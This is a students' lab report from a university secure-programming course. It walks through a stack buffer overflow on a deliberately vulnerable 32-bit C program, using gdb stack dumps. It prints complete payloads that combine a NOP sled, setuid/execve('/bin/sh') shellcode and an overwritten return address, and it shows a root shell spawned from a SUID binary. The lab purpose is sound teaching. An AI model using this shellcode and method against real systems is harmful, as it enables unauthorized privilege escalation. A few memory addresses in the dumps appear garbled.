

# **Hacettepe University Computer Engineering**

## **BBM 459 Secure Programming Laboratory Programming Assignment 2 Buffer Overflow Attack**

**Spring 2021**

Ahmet Hakan YILDIZ

Cihan KÜÇÜK

## Task 1

First of all, we must prepare the files and make configurations. The given source code is created as **bof.c** and compiled into **bof**.

```
1 /*bof.c*/
2 #include <string.h>
3 #include <stdio.h>
4 #include <stdlib.h>
5 void bof(char *str)
6 {
7     char buffer[256];
8     strcpy(buffer, str);
9     printf("%s\n",buffer);
10 }
11 void main(int argc, char *argv[]) {
12     bof(argv[1]);
13     printf("BOF!\n");
14 }
```

```
hakan% su root
Parola:
hakan# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
hakan# gcc -m32 -fno-stack-protector -z execstack -g -o bof bof.c
hakan# chmod 4755 bof
hakan# exit
hakan% ./bof buffer_overflow_project
buffer_overflow_project
BOF!
hakan% □
```

We have compiled our C file with **-m32**. We will tell you why in the later stages. We will use the **zsh** shell while doing our operations. We've set it up before.

## Step 1

**What can be the valid input for the program and how does the stack of the program look like before and after entering the input?**

We know that our variable has 256 characters. Let's look at what happens to the stack when a smaller length is given. We will do our debugging with **gdb-peda**.

```
hakan% gdb bof
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bof...
gdb-peda$ br main
Breakpoint 1 at 0x1233: file bof.c, line 10.
gdb-peda$ run $(python -c "print('a'*32)")
Starting program: /home/hakan/Belgeler/459/2/bof $(python -c "print('a'*32)")
```

We need to look one step before and after the strcpy function. That's why we're putting a break on those addresses.

```
gdb-peda$ disas bof
Dump of assembler code for function bof:
0x565561ed <+0>:    endbr32
0x565561f1 <+4>:    push    ebp
0x565561f2 <+5>:    mov     ebp,esp
0x565561f4 <+7>:    push    ebx
0x565561f5 <+8>:    sub     esp,0x104
0x565561fb <+14>:   call    0x565560f0 <__x86.get_pc_thunk.bx>
0x56556200 <+19>:   add     ebx,0x2dd4
0x56556206 <+25>:   sub     esp,0x8
0x56556209 <+28>:   push    DWORD PTR [ebp+0x8]
0x5655620c <+31>:   lea     eax,[ebp-0x108]
0x56556212 <+37>:   push    eax
0x56556213 <+38>:   call    0x56556080 <strcpy@plt>
0x56556218 <+43>:   add     esp,0x10
0x5655621b <+46>:   sub     esp,0xc
0x5655621e <+49>:   lea     eax,[ebp-0x108]
0x56556224 <+55>:   push    eax
0x56556225 <+56>:   call    0x56556090 <puts@plt>
0x5655622a <+61>:   add     esp,0x10
0x5655622d <+64>:   nop
0x5655622e <+65>:   mov     ebx,DWORD PTR [ebp-0x4]
0x56556231 <+68>:   leave
0x56556232 <+69>:   ret
End of assembler dump.
gdb-peda$ br *0x56556212
Breakpoint 2 at 0x56556212: file bof.c, line 7.
gdb-peda$ br *0x56556218
Breakpoint 3 at 0x56556218: file bof.c, line 7.
```

Before:

```
Breakpoint 2, 0x56556212 in bof (str=0xffffd393 'a' <repeats 32 times>) at bof.c:7
7      strcpy(buffer, str);
gdb-peda$ x/200xb $esp
0xffffcfff4:    0x93    0xd3    0xff    0xff    0x80    0x03    0x00    0x00
0xffffcfff8:    0x00    0x62    0x55    0x56    0x80    0x03    0x00    0x00
0xffffd004:    0x80    0x03    0x00    0x00    0x80    0x03    0x00    0x00
0xffffd008:    0x80    0x03    0x00    0x00    0x80    0x03    0x00    0x00
0xffffd00c:    0x80    0x03    0x00    0x00    0x80    0x03    0x00    0x00
0xffffd010:    0x01    0x00    0x00    0x00    0x00    0x00    0x02    0x00
0xffffd014:    0xce    0xd6    0xfe    0xf7    0x01    0x00    0x00    0x00
0xffffd018:    0x02    0x00    0x00    0x00    0x00    0x00    0x02    0x00
0xffffd01c:    0xce    0xd6    0xfe    0xf7    0x02    0x00    0x00    0x00
0xffffd020:    0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd024:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd028:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd02c:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd030:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd034:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd038:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd03c:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd040:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd044:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd048:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd04c:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd050:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd054:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd058:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd05c:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd060:    0xc2    0x00    0x00    0x00    0xff    0x2f    0x00    0x00
0xffffd064:    0x00    0x30    0xfb    0xf7    0x00    0x00    0x00    0x00
0xffffd068:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd06c:    0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd070:    0xff    0xb5    0xf0    0x00    0x9c    0xc8    0xff    0xf7
0xffffd074:    0xcb    0xd0    0xff    0xff    0xc2    0x00    0x00    0x00
0xffffd078:    0xe2    0x10    0xe7    0xf7    0xca    0xd0    0xff    0xff
0xffffd07c:    0x9c    0xc8    0xff    0xf7    0xa0    0xc8    0xff    0xf7
0xffffd080:    0x01    0x30    0x00    0x00    0x00    0xd0    0xff    0xf7
0xffffd084:    0xa0    0xc8    0xff    0xf7    0xca    0xd0    0xff    0xff
0xffffd088:    0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xffffd08c:    0x00    0x00    0xc3    0x00    0x01    0x00    0x00    0x00
```



After:

```
gdb-peda$ x/200xb $esp
0xffffcfff0: 0x00 0xd0 0xff 0xff 0x93 0xd3 0xff 0xff
0xffffcfff8: 0x80 0x03 0x00 0x00 0x00 0x62 0x55 0x56
0xfffffd000: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffd008: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffd010: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffd018: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffd020: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
0xfffffd028: 0x00 0x00 0x02 0x00 0xce 0xd6 0xfe 0xf7
0xfffffd030: 0x02 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0xfffffd038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffd040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffd048: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffd050: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffd058: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffd060: 0x09 0x00 0x00 0x00 0xc2 0x00 0x00 0x00
0xfffffd068: 0xff 0x2f 0x00 0x00 0x00 0x30 0xfb 0xf7
0xfffffd070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xfffffd078: 0x00 0x00 0x00 0x00 0xff 0xb5 0xf0 0x00
0xfffffd080: 0x9c 0xc8 0xff 0xf7 0xcb 0xd0 0xff 0xff
0xfffffd088: 0xc2 0x00 0x00 0x00 0xe2 0x10 0xe7 0xf7
0xfffffd090: 0xca 0xd0 0xff 0xff 0x9c 0xc8 0xff 0xf7
0xfffffd098: 0xa0 0xc8 0xff 0xf7 0x01 0x30 0x00 0x00
0xfffffd0a0: 0x00 0xd0 0xff 0xf7 0xa0 0xc8 0xff 0xf7
0xfffffd0a8: 0xca 0xd0 0xff 0xff 0x01 0x00 0x00 0x00
0xfffffd0b0: 0x00 0x00 0x00 0x00 0x00 0x00 0xc3 0x00
gdb-peda$
```

The hexadecimal equivalent of the "a" characters we put is \x61. We can see them. Above them there is the stack alignment. Below them is the remainder of the stack.

**What can be the input to exploit the program and how does the stack of the program look like before and after entering the input?**

Before:

```
gdb-peda$ x/200xb $esp
0xffffcf14: 0xaf 0xd2 0xff 0xff 0x80 0x03 0x00 0x00
0xffffcf1c: 0x00 0x62 0x55 0x56 0x80 0x03 0x00 0x00
0xffffcf24: 0x80 0x03 0x00 0x00 0x80 0x03 0x00 0x00
0xffffcf2c: 0x80 0x03 0x00 0x00 0x80 0x03 0x00 0x00
0xffffcf34: 0x01 0x00 0x00 0x00 0x00 0x00 0x02 0x00
0xffffcf3c: 0xce 0xd6 0xfe 0xf7 0x01 0x00 0x00 0x00
0xffffcf44: 0x02 0x00 0x00 0x00 0x00 0x00 0x02 0x00
0xffffcf4c: 0xce 0xd6 0xfe 0xf7 0x02 0x00 0x00 0x00
0xffffcf54: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf5c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf64: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf6c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf74: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf7c: 0x00 0x00 0x00 0x00 0x09 0x00 0x00 0x00
0xffffcf84: 0xc2 0x00 0x00 0x00 0xff 0x2f 0x00 0x00
0xffffcf8c: 0x00 0x30 0xfb 0xf7 0x00 0x00 0x00 0x00
0xffffcf94: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf9c: 0xff 0xb5 0xf0 0x00 0x9c 0xc8 0xff 0xf7
0xffffcfa4: 0xeb 0xcf 0xff 0xf7 0xc2 0x00 0x00 0x00
0xffffcfac: 0xe2 0x10 0xe7 0xf7 0xea 0xcf 0xff 0xff
0xffffcfb4: 0x9c 0xc8 0xff 0xf7 0xa0 0xc8 0xff 0xf7
0xffffcfbc: 0x01 0x30 0x00 0x00 0x00 0xd0 0xff 0xf7
0xffffcfc4: 0xa0 0xc8 0xff 0xf7 0xea 0xcf 0xff 0xff
0xffffcfc8: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcfd4: 0x00 0x00 0xc3 0x00 0x01 0x00 0x00 0x00
gdb-peda$
```

After:

```
gdb-peda$ x/200xb $esp
0xfffffcf10: 0x20 0xcf 0xff 0xff 0xaf 0xd2 0xff 0xff
0xfffffcf18: 0x80 0x03 0x00 0x00 0x00 0x62 0x55 0x56
0xfffffcf20: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf28: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf30: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf38: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf40: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf48: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf50: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf58: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf60: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf68: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf70: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf78: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf80: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf88: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf90: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcf98: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcfa0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcfa8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcfb0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcfb8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcfc0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcfc8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xfffffcfd0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
gdb-peda$
```

The hexadecimal equivalent of the "a" characters we put is \x61. We can see them. When we enter a value larger than the size of the buffer, we see that the stack is filled with "a" characters in the before/after comparison of the stack. We do not even see the values below the "a" characters because we are doing a 200 byte representation.

## Step 2 (Creating Input) & Step 3 (Examining Buffer Overflow)

To do "Buffer Overflow Attack", we need to place nop commands, shellcode and return address in our input. The length of our entry is very important for the return address to be in the right place. That's why we enter different lengths of input values.

```
gdb-peda$ run $(python -c 'print("a"*260)')
Starting program: /home/hakan/Belgeler/459/2/bof $(python -c 'print("a"*260)')
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
EAX: 0x56556f34 --> 0x0
EBX: 0x56558f00 --> 0x4
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7fb3000 --> 0x1e6d6c
EDI: 0xf7fb3000 --> 0x1e6d6c
EBP: 0xffffd048 --> 0x0
ESP: 0xffffd02c ("vbUV4oUV\364\320\377\377")
EIP: 0x4
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
Invalid SPC address: 0x4
[-----stack-----]
0000] 0xffffd02c ("vbUV4oUV\364\320\377\377")
0004] 0xffffd030 ("4oUV\364\320\377\377")
0008] 0xffffd034 --> 0xffffd0f4 --> 0xffffd290 ("/home/hakan/Belgeler/459/2/bof")
0012] 0xffffd038 --> 0xffffd100 --> 0xffffd3b4 ("SHELL=/bin/bash")
0016] 0xffffd03c ("kbUV\320\377\377")
0020] 0xffffd040 --> 0xffffd060 --> 0x2
0024] 0xffffd044 --> 0x0
0028] 0xffffd048 --> 0x0
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000004 in ?? ()
```







So we have to look at the starting addresses of the "a" characters that we have entered in large numbers. It will be sufficient to enter an address larger than that address.

```
gdb-peda$ x/200xb $esp
0xffffcf00: 0x10 0xcf 0xff 0xff 0xa3 0xd2 0xff 0xff
0xffffcf08: 0x80 0x03 0x00 0x00 0x00 0x62 0x55 0x56
0xffffcf10: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf18: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf20: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf28: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf30: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf38: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf40: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf48: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf50: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf58: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf60: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf68: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf70: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf78: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf80: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf88: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf90: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf98: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfa0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfa8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfb0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfb8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfc0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
gdb-peda$
```

```
Breakpoint 2, 0x56556218 in bof (str=0xffffd200 "\a") at bof.c:7
7 strcpy(buffer, str);
gdb-peda$ x/200xb $esp
0xffffcf00: 0x10 0xcf 0xff 0xff 0xa3 0xd2 0xff 0xff
0xffffcf08: 0x80 0x03 0x00 0x00 0x00 0x62 0x55 0x56
0xffffcf10: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf18: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf20: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf28: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf30: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf38: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf40: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf48: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf50: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf58: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf60: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf68: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf70: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf78: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf80: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf88: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf90: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcf98: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfa0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfa8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfb0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfb8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffffcfc0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
gdb-peda$ run $(python -c 'print("\x90"*236+"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"+" \x20\xcf\xff\xff")')
Starting program: /home/hakan/Belgeler/459/2/bof $(python -c 'print("\x90"*236+"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"+" \x20\xcf\xff\xff")')
```

We will enter 236 byte nop command, 32 byte shellcode and 4 byte return address. The sum of 236 and 32 is 268. So we put the return address where it should be, do not we?



```

*****
*****10010Rhnh/shh//bi0RS0B
*****

Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
EAX: 0x10d
EBX: 0x8de1b727
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7fb3000 --> 0x1e6d6c
EDI: 0xf7fb3000 --> 0x1e6d6c
EBP: 0x80cd0b42
ESP: 0xffffd008 --> 0x80cd0b42
EIP: 0x56556209 (<bof+28>: push DWORD PTR [ebp+0x8])
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x565561fb <bof+14>: call 0x565560f0 <__x86.get_pc_thunk.bx>
0x56556200 <bof+19>: add ebx,0x2dd4
0x56556206 <bof+25>: sub esp,0x8
=> 0x56556209 <bof+28>: push DWORD PTR [ebp+0x8]
0x5655620c <bof+31>: lea eax,[ebp-0x108]
0x56556212 <bof+37>: push eax
0x56556213 <bof+38>: call 0x56556080 <strcpy@plt>
0x56556218 <bof+43>: add esp,0x10
[-----stack-----]
0000| 0xffffd008 --> 0x80cd0b42
0004| 0xffffd00c --> 0x56556200 (<bof+19>: add ebx,0x2dd4)
0008| 0xffffd010 --> 0xffffd2a3 --> 0x90909090
0012| 0xffffd014 --> 0xffffd0d4 --> 0xffffd284 ("/home/hakan/Belgeler/459/2/bof")
0016| 0xffffd018 --> 0xffffd0e4 --> 0xffffd3b4 ("SHELL=/bin/bash")
0020| 0xffffd01c ("KbUV@320\377\377")
0024| 0xffffd020 --> 0xffffd040 --> 0x3
0028| 0xffffd024 --> 0x0
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x56556209 in bof (str=<error reading variable: Cannot access memory at address 0x80cd0b4a>)
at bof.c:7
7 strcpy(buffer, str);

```

After some research, we learned that it is wrong to put the shellcode right before the return address, ie at the end of the stack. we still don't fully understand why this is happening, but our comment is that the stack is moving and therefore the shellcode should not be at the end. If it is at a slightly smaller address, we think the program will not crash.

After several unsuccessful attempts, we ran it with this input and the attack occurred, the shell worked.

```

hakan% gdb bof
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bof...
gdb-peda$ run $(python -c 'print("\x90"*216+"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"+"x41"*20+"\x80\xcf\xff\xff")')
Starting program: /home/hakan/Belgeler/459/2/bof $(python -c 'print("\x90"*216+"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"+"x41"*20+"\x80\xcf\xff\xff")')
*****
*****10010Rhnh/shh//bi0RS0B
*****
AAAAAAAAAAAAAAAAAAAAA0000
process 18275 is executing new program: /usr/bin/dash
$ whoami
[Attaching after process 18275 fork to child process 18280]
[New inferior 2 (process 18280)]
[Detaching after fork from parent process 18275]
[Inferior 1 (process 18275) detached]
process 18280 is executing new program: /usr/bin/whoami
hakan

```

We subtracted the number of characters we added after the shellcode from the number of nop character. So the return address is again in the correct place.  $(216 + 32 + 20 + 4 = 268 + 4)$

However, there is still a problem here. Although we added the SUID bit, we could not access root privileges. This is because gdb ignores SUID bit. As you can see in the screenshot below, when we run it as `"/bof input"` in the terminal, we get root privileges.

```
nakan% ./bof $(python -c 'print("\x90"*216+"\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\x2d\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"+" \x41"*20+"\x90\xd5\xff\xff")')  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1dd1Rhnh/shh//biRSdB  
A  
AAAAAAAAAAAAAAAAAAAAAAA  
# whoami  
root  
#
```

As for why we're using the x86 architecture, no matter what we do, shellcode didn't work on x64. When we examined the shell code, we saw that the last command was "int x80". After some research, we found that the "int x80" command does not work properly in 64-bit programs and should not be used. [2] [3]

## Task 2

## Step 1

First of all, we need to find out how many characters of input we need to run to reach eip.

```
gdb-peda$ run $(python -c "print('a'*8)")
Starting program: /home/hakan/Belgeler/459/2/stackbof $(python -c "print('a'*8)")
My stack looks like:
0xf7fe22d0
(nil)
0x80482fd
0xf7fb33fc
0x40000
0x804a000
0x8048562
0x2
0xfffffd244
0xfffffd1a8
0x8048500
0xfffffd40f

aaaaaaa
Now the stack looks like:
0xfffffd40f
(nil)
0x80482fd
0xf7fb33fc
0x61610000
0x61616161
0x8006161
0x2
0xfffffd244
0xfffffd1a8
0x8048500
0xfffffd40f

[Inferior 1 (process 20879) exited normally]
Warning: not running
```

As we can see, the stack becomes this when we enter an 8 character input. We see that the bottom line is the return address. So it is understood from this output that we can change eip if we enter 26 characters.

```

Program received signal SIGSEGV, Segmentation fault.
[-----registers-----]
EAX: 0x99
EBX: 0x0
ECX: 0x0
EDX: 0x804861b --> 0x756f5900 ('')
ESI: 0xf7fb3000 --> 0x1e6d6c
EDI: 0xf7fb3000 --> 0x1e6d6c
EBP: 0x61616161 ('aaaa')
ESP: 0xffffd180 --> 0xffffdf70 ("GDMSESSION=ubuntu")
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
Invalid $PC address: 0x61616161
[-----stack-----]
0000| 0xffffd180 --> 0xffffd300 --> 0xffffdf70 ("GDMSESSION=ubuntu")
0004| 0xffffd184 --> 0x0
0008| 0xffffd188 --> 0x804851b (<__libc_csu_init+11>: add ebx,0x1ae5)
0012| 0xffffd18c --> 0x0
0016| 0xffffd190 --> 0xf7fb3000 --> 0x1e6d6c
0020| 0xffffd194 --> 0xf7fb3000 --> 0x1e6d6c
0024| 0xffffd198 --> 0x0
0028| 0xffffd19c --> 0xf7deae5 (<__libc_start_main+245>: add esp,0x10)
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61616161 in ?? ()
gdb-peda$ 

```

As you can see, we changed the eip to 0x61616161. However, things here are not the same as in Task 1. Buffer size smaller than shellcode size. So we will apply a different method. First 22 nop commands, then return address, then some more nop commands, then shellcode. So the shellcode will be written further than the return address and we will point to it with the return address.

When we create our input and run the program, we see that it does not work. This is because the "-z execstack" parameter was not entered when compiling stackbof.

```

Reading symbols from stackbof...
gdb-peda$ checksec
CANARY      : disabled
FORTIFY     : disabled
NX          : ENABLED
PIE         : disabled
RELRO       : Partial
gdb-peda$ 

```

We guessed the code, wrote it to a separate file and compiled it with the "-z execstack" parameter. Then we tried the second method we tried for stackbof in this program.

```

gdb-peda$ run $(python -c "print('\x90'*22+'\xc8\xd6\xff\xff'+'\x90'*32+'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80')")

```

```

0x90909090
0x90909090
0x90909090
0x90909090
0xffffd6c8

process 3487 is executing new program: /usr/bin/zsh
$ 

```

It works!



## Step 2

We know buffer's size from what we did from the previous step. Now we have to disassemble the hack function.

```
gdb-peda$ disas hack
Dump of assembler code for function hack:
0x080484ba <+0>:    push    ebp
0x080484bb <+1>:    mov     ebp,esp
0x080484bd <+3>:    sub     esp,0x18
0x080484c0 <+6>:    mov     DWORD PTR [esp],0x804861c
0x080484c7 <+13>:   call    0x8048350 <puts@plt>
0x080484cc <+18>:   leave
0x080484cd <+19>:   ret
End of assembler dump.
```

0x080484ba is our return adress.

```
gdb-peda$ run $(python -c "print('a'*22+'\xba\x84\x04\x08')")
Starting program: /home/hakan/Belgeler/459/2/stackbof $(python -c "print('a'*22+'\xba\x84\x04\x08')")
My stack looks like:
0xf7fe22d0
(nil)
0x80482fd
0xf7fb33fc
0x400000
0x804a000
0x8048562
0x2
0xffffd234
0xffffd198
0x8048500
0xffffd3fd

aaaaaaaaaaaaaaaaaaaaa+
Now the stack looks like:
0xffffd3fd
(nil)
0x80482fd
0xf7fb33fc
